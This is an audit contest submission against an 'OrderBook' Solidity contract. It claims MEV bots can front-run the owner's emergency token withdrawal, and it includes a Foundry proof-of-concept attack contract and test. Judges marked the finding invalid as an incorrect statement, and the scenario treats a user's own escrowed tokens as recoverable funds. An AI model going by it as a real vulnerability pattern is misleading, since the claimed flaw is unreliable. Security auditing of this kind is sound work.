OrderBook

First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: medium
Likelihood: high
Invalid

🛡️ MEV Bots Can Front-Run Emergency Fund Withdrawal and Prevent Asset Recovery

MEV Bots Can Front-Run Emergency Fund Withdrawal and Prevent Asset Recovery

Description

Normally, the contract owner can rescue non-core ERC20 tokens held within the protocol by calling the OrderBook::emergencyWithdrawERC20 function. This is typically done when tokens are mistakenly sent or need to be recovered due to a misconfiguration. However, if a MEV bot has a sell order open for such a token, it can scan the mempool and front-run the emergency withdrawal by cancelling its sell order and retrieving the tokens before the withdrawal transaction is mined.

This causes the contract’s token balance to drop, and the subsequent safeTransfer in emergencyWithdrawERC20 fails and reverts. As a result, the protocol owner is unable to rescue the non-core tokens, and the MEV bot successfully retains them.

This breaks the intended emergency fund recovery functionality and could block governance, protocol safety mechanisms, or fund management capabilities.

Risk

Likelihood

  • Reason 1: emergencyWithdrawERC20 can be front-run easily if sent through public RPC or non-private mempool.

  • Reason 2: The contract does not lock or reserve tokens being withdrawn during the pending mempool period.

  • Reason 3: Canceling an order returns the tokens immediately, allowing the bot to reclaim funds before the owner can.

Impact

  • Impact 1: The protocol owner is unable to withdraw non-core tokens even with correct conditions.

  • Impact 2: The MEV bot retrieves its tokens and prevents recovery of mistakenly sent or recoverable tokens.

  • Impact 3: Emergency control mechanisms of the protocol are bypassed, posing security and governance risks.

Proof of Concept

The MevBotAttack contract simulates a bot that front-runs the owner’s emergency withdrawal transaction by canceling its sell order in the same mempool window. This reclaims the token from the contract, causing the emergency withdrawal to fail due to insufficient balance.

Add this contract to your TestOrderBook.t.sol file:

//@audit Add MevBotAttack Contract
contract MevBotAttack is Test {
OrderBook public book;
address public usdcHolder;
​
constructor(OrderBook _book) {
book = _book;
}
​
function mevBuyOrderInMempool(uint256 orderId) external {
book.iUSDC().approve(address(book), type(uint256).max);
book.buyOrder(orderId);
}
​
function createSellOrder(
IERC20 token,
uint256 amount,
uint256 usdcPrice,
uint256 duration
) external {
token.approve(address(book), amount);
book.createSellOrder(address(token), amount, usdcPrice, duration);
}
​
function cancelOwnSellOrder(uint256 orderId) external {
book.cancelSellOrder(orderId);
}
}
//@ Add Mock ERC20 to add non-core token for transaction.
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
​
contract MockNonCore is ERC20 {
uint8 private _decimals;
​
constructor(uint8 decimals_) ERC20("MockNonCore", "NON") {
_decimals = decimals_;
}
​
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
​
function decimals() public view override returns (uint8) {
return _decimals;
}
}
​

✅ test_MevAttackOnEmergencyFundWithdraw – Front-running Owner’s Emergency Rescue

function test_MevAttackOnEmergencyFundWithdraw() public {
// Step 1: Deploy non-core token
MockNonCore nonCore = new MockNonCore(18);
​
// Step 2: Owner allows the non-core token to be used for sell orders
vm.prank(owner);
book.setAllowedSellToken(address(nonCore), true);
​
// Step 3: MEV bot is funded with non-core token
MevBotAttack mevBot = new MevBotAttack(book);
nonCore.mint(address(mevBot), 2e18);
​
// Step 4: Bot creates a sell order for non-core token
mevBot.createSellOrder(nonCore, 2e18, 1_000e6, 2 days);
assertEq(nonCore.balanceOf(address(mevBot)), 0); // tokens locked in order
​
// Step 5: Before owner's withdrawal is mined, MEV bot cancels sell order
mevBot.cancelOwnSellOrder(1); // front-run withdrawal
​
// Step 6: Owner tries to rescue funds
vm.expectRevert(); // safeTransfer fails due to low balance
vm.prank(owner);
book.emergencyWithdrawERC20(address(nonCore), 2e18, owner);
​
// Step 7: Assert bot retains tokens and owner received nothing
assertEq(nonCore.balanceOf(owner), 0);
assertEq(nonCore.balanceOf(address(mevBot)), 2e18);
}

Recommended Mitigation

  • Use private RPC providers like Flashbots RPC to protect governance and admin transactions from public mempool exposure.

  • Consider adding:

    • Pre-lock mechanism: Lock tokens for withdrawal during pending transactions.

    • Slippage or fallback conditions: Check that token balances meet minimum thresholds before execution.

    • Time-based grace period: Prevent order cancellation within N seconds of emergency withdrawal attempts.

    • Commit-reveal schemes for sensitive admin operations like emergencyWithdrawERC20.

Updates

Lead Judging Commences

yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

yashkhare9815 Submitter
about 1 month ago
yeahchibyke Lead Judge
about 1 month ago
yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.